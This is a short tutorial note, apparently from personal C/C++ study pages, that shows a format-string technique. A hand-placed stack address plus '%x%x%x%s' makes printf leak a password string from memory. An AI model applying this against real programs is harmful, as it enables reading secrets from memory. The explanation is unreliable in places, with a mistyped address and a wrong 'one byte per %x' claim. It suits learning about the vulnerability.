next up previous
Next: Dynamic multi-dimension array Up: C++/C Previous: timing

The hacking of printf function

printf(fmt) if without correct arguments, it will get the whatever value for the current stack. We can use printf(fmt) to print the content of arbitrary memory location;
    char secret_string[] = "MyPassword";
    char fmt[64];

    printf("0x%08x\n", secret_string);

    *(unsigned int *)fmt = 0xbffff1a0;
    strcpy(fmt + 4, "%x%x%x\n%s\n");

    printf(fmt);
The above example will print the ``MyPassword'' when running; 0xbfff1a0 isthe address of the secret_string varible, Put the address literally in the format string, which locateds in the stack. When printf is invoked, the printf function first get %x , which have the printf function go back one byte in the stack toward the last stack framwork. After 3 %x, the printf get the char array of the fmt and its first 4 bytes is the addres we want to printf print its content.



Wei Lu 2007-11-06